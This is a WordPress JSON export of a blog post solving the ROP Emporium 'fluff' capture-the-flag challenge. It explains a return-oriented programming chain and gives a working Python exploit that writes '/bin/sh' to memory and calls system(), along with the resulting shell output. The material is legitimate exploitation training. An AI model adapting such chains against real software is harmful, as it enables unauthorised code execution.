{"id":1072,"date":"2019-12-06T08:15:00","date_gmt":"2019-12-06T13:15:00","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=1072"},"modified":"2019-12-06T08:15:00","modified_gmt":"2019-12-06T13:15:00","slug":"rop-emporium-fluff-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-fluff-solution\/","title":{"rendered":"ROP Emporium | fluff Solution"},"content":{"rendered":"<p>The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job done. If we take the time to consider a different approach we&#8217;ll succeed.<\/p>\n<p>The binary and challenge description can be found here:<br \/>\n<a href=\"https:\/\/ropemporium.com\/challenge\/fluff.html\">https:\/\/ropemporium.com\/challenge\/fluff.html<\/a><\/p>\n<p>Like the description says, not much here is different from the write4 challenge aside from the more abstract gadgets. It should be easy enough to find the gadgets to use:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/fluff_questionableGadgets.png\" alt=\"\" width=\"717\" height=\"516\" class=\"alignnone size-full wp-image-1092\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/fluff_questionableGadgets.png 717w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2019\/12\/fluff_questionableGadgets-300x216.png 300w\" sizes=\"auto, (max-width: 717px) 100vw, 717px\" \/><\/p>\n<p>This provides us with 4 gadgets. After examining the gadgets here, I open a text editor &#038; start working out my plan of attack. I&#8217;ll illustrate the ROP chain I plan to use:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\n1. 0x400832: pop r12; mov r13d, 0x604060; ret;\r\n             Get a value into R12 (this will eventually go into R10)\r\n   address1: Where to save the string to\r\n2. 0x400822: xor r11, r11; pop r14; mov edi, 0x601050; ret;\r\n             Zero out the R11 register\r\n   junkdata: Junk data for the &quot;pop r14&quot; instruction\r\n3. 0x40082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret;\r\n             Get a value into R11 (Since R11 is null, whatever is saved in R12 will be put into R11)\r\n   string:   The string we want to save will be popped into R12\r\n4. 0x400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret;\r\n             Get the value from R11 into the R10 register\r\n   junkdata: Junk data for the &quot;pop r15&quot; instruction\r\n5. Repeat steps 2-3 to get the string into r11\r\n6. 0x40084e: mov qword ptr &#x5B;r10], r11; pop r13; pop r12; xor byte ptr &#x5B;r10], r12b; ret;\r\n             Write the value in R11 to the address in R10\r\n   junkdata: Junk data for the &quot;pop r13&quot; instruction\r\n   nulldata: Null bytes for the &quot;pop r12&quot; instruction. The next instruction will XOR this with &#x5B;r10]\r\n7. 0x4005e0: call system()\r\n<\/pre>\n<p>One thing to note is that the address of the <code>.data<\/code> section (where the string will be saved to) is moved into the EDI register at step 2. This means that there&#8217;s no need for a <code>\"pop rdi; ret\"<\/code> instruction. Now it&#8217;s a simple process to create the Python script:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/env python3\r\n\r\nimport sys\r\n\r\npayload  = b&quot;A&quot; * 40\r\npayload += (0x400832).to_bytes(8, &quot;little&quot;) # pop r12; mov r13d, 0x604060; ret;\r\npayload += (0x601050).to_bytes(8, &quot;little&quot;) # Where to save the string to (.data)\r\npayload += (0x400822).to_bytes(8, &quot;little&quot;) # xor r11, r11; pop r14; mov edi, 0x601050; ret;\r\n                                            # NOTE: This gadget puts .data address into EDI for us\r\npayload += b&quot;AAAAAAAA&quot;                      # Junk data for the &quot;pop r14&quot; instruction\r\npayload += (0x40082f).to_bytes(8, &quot;little&quot;) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;\r\npayload += b&quot;\/bin\/sh\\x00&quot;                   # The string to be popped into R12\r\npayload += (0x400840).to_bytes(8, &quot;little&quot;) # xchg r11, r10; pop r15; mov r11d, 0x602050; ret;\r\npayload += b&quot;AAAAAAAA&quot;                      # Junk data for the &quot;pop r15&quot; instruction\r\npayload += (0x400822).to_bytes(8, &quot;little&quot;) # xor r11, r11; pop r14; mov edi, 0x601050; ret;\r\npayload += b&quot;AAAAAAAA&quot;                      # Junk data for the &quot;pop r14&quot; instruction\r\npayload += (0x40082f).to_bytes(8, &quot;little&quot;) # xor r11, r12; pop r12; mov r13d, 0x604060; ret;\r\npayload += b&quot;AAAAAAAA&quot;                      # Junk data for the &quot;pop r12&quot; instruction\r\npayload += (0x40084e).to_bytes(8, &quot;little&quot;) # mov qword ptr &#x5B;r10], r11; pop r13; pop r12; xor byte ptr &#x5B;r10], r12b; ret;\r\npayload += b&quot;AAAAAAAA&quot;                      # Junk data for the &quot;pop r13&quot; instruction\r\npayload += b&quot;\\x00&quot; * 8                      # Null bytes for the &quot;pop r12&quot; instruction\r\n                                            # NOTE: The next instruction will XOR this with &#x5B;r10]\r\npayload += (0x4005e0).to_bytes(8, &quot;little&quot;) # call system()\r\n\r\nsys.stdout.buffer.write(payload)\r\n<\/pre>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">\r\nandrew ~\/fluff $ (.\/exploit.py; echo; cat) | .\/fluff \r\nfluff by ROP Emporium\r\n64bits\r\n\r\nYou know changing these strings means I have to rewrite my solutions...\r\n&gt; id\r\nuid=1000(andrew) gid=1000(andrew) groups=1000(andrew),1001(sudo)\r\ncat flag.txt\r\nROPE{a_placeholder_32byte_flag!}\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>The concept here is identical to the write4 challenge. The only difference is we may struggle to find gadgets that will get the job done. If we take the time to consider a different approach we&#8217;ll succeed &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/rop-emporium-fluff-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">ROP Emporium | fluff Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-1072","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1072","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=1072"}],"version-history":[{"count":16,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1072\/revisions"}],"predecessor-version":[{"id":1094,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/1072\/revisions\/1094"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=1072"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=1072"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=1072"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}